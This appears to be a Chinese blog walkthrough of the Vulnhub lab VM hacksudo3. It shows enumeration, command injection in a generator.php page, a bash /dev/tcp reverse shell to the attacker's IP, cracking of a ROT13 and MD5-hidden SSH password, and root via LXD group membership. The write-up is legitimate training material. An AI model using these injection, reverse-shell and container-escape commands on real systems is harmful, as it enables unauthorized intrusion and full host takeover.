Vulnhub靶机:hacksudo3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo3(10.0.2.45)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.45

Vulnhub靶机:hacksudo3_第1张图片

使用nmap端口扫描发现,靶机开放端口:21、22、80

Vulnhub靶机:hacksudo3_第2张图片

80端口:打开网站未发现可利用的功能点,源码也没有隐藏信息,页面存在一些密码信息

Vulnhub靶机:hacksudo3_第3张图片

使用disearch进行目录爆破,发现info.php、login.php文件

Vulnhub靶机:hacksudo3_第4张图片
Vulnhub靶机:hacksudo3_第5张图片
Vulnhub靶机:hacksudo3_第6张图片

但后续测试发现这两个页面没有可利用的漏洞。

可能是目录爆破不够全面,使用dirbuster再次进行爆破,发现页面:

/info.php
/login.php
/create/index.html
/hidden/index.html
/generator.php
/decrypt/index.html
/bruteforce/index.html

Vulnhub靶机:hacksudo3_第7张图片

在测试/generator.php页面发现该页面存在命令注入漏洞

Vulnhub靶机:hacksudo3_第8张图片

输入反引号和命令,可以执行命令

`id`

Vulnhub靶机:hacksudo3_第9张图片

三、漏洞利用

使用命令注入反弹shell

`bash -i >& /dev/tcp/10.0.2.15/4444 0>&1`    失败
`bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'`  成功

Vulnhub靶机:hacksudo3_第10张图片

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub靶机:hacksudo3_第11张图片

四、提权

查找靶机是否存在特权命令或是否存在具有root权限的可利用的文件

find / -perm -u=s -type f 2>/dev/null

Vulnhub靶机:hacksudo3_第12张图片

发现/usr/libexec/polkit-agent-helper-1文件,该版本的polkit存在提权漏洞CVE-2021-4034,靶机没有gcc环境我们可以上传编译好的exp进行提权。

这次我们不用这个方法

翻一翻靶机各个文件夹,发现在/var/www/目录下存在hacksudo文件,文件里面保存着一些疑似字符串被打乱的数据

unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o

Vulnhub靶机:hacksudo3_第13张图片

可以使用凯撒密码解密,当偏移量为13时解密得到:

hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

Vulnhub靶机:hacksudo3_第14张图片

使用在线md5解密网站解密密码字段:vishal

Vulnhub靶机:hacksudo3_第15张图片

切换为hacksudo用户

Vulnhub靶机:hacksudo3_第16张图片

发现用户账号是LXD组的组成员,可以尝试lxd提权

which lxd
which lxc

Vulnhub靶机:hacksudo3_第17张图片

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;

cd lxd-alpine-builder   
sudo ./build-alpine

Vulnhub靶机:hacksudo3_第18张图片

将tar文件发送至目标设备

service apache2 start  

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

Vulnhub靶机:hacksudo3_第19张图片

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了,注意需要从受害者机器上的用户的主目录执行此操作,否则可能会失败:

lxc image import alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test

使用“list”命令即可检查可用的容器列表:

lxc image list

在这里插入图片描述

初始化镜像

lxd init  #一路回车
lxc init test test -c security.privileged=true

Vulnhub靶机:hacksudo3_第20张图片

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

Vulnhub靶机:hacksudo3_第21张图片

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

Vulnhub靶机:hacksudo3_第22张图片

获取flag

Vulnhub靶机:hacksudo3_第23张图片
Vulnhub靶机:hacksudo3_第24张图片

参考链接:https://blog.csdn.net/Perpetual_Blue/article/details/124645714
https://blog.csdn.net/YouthBelief/article/details/123548739

你可能感兴趣的:(靶场,web安全)